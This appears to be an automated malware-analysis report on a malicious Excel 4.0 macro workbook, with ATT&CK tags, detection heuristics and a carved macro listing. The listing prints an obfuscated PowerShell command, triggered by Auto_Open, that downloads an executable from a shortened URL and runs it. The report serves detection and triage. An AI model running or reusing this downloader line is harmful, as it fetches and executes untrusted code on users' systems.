MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The sample is an Excel 4.0 macro-enabled workbook. It contains an Auto_Open macro that executes a PowerShell command. This command downloads a file from the URL 'https://tinyurl.com/y2xszb2j', saves it as 'test5.exe', and then executes it. This indicates the file is a downloader for a second-stage payload.
Heuristics 5
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 1301 bytes |
SHA-256: 770319487bc75222e7038ef007b4b8fd287c6c2cf3f86c3eb4719ad182992500 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - ayatag
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A459
' 0018 26 LABEL : Cell Value, String Constant - powa len=7 ptgRef3d Sheet!A12
' 0018 32 LABEL : Cell Value, String Constant - powershell len=7 ptgRef3d ayatag!A34
' 0018 27 LABEL : Cell Value, String Constant - Start len=7 ptgRef3d ayatag!A29
' 0018 26 LABEL : Cell Value, String Constant - WAIT len=7 ptgRefErr3d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x02\x00\x02\x00'
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' ayatag,A459,EXEC("powershell.exe -w h I`wR ('ht'+'tps://tinyurl.com/y2xszb2j') -OutFile ('test5'+'.exe'); &('./test5'+'.e'+'x'+'e')"),""
' ayatag,A460,HALT(),""
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.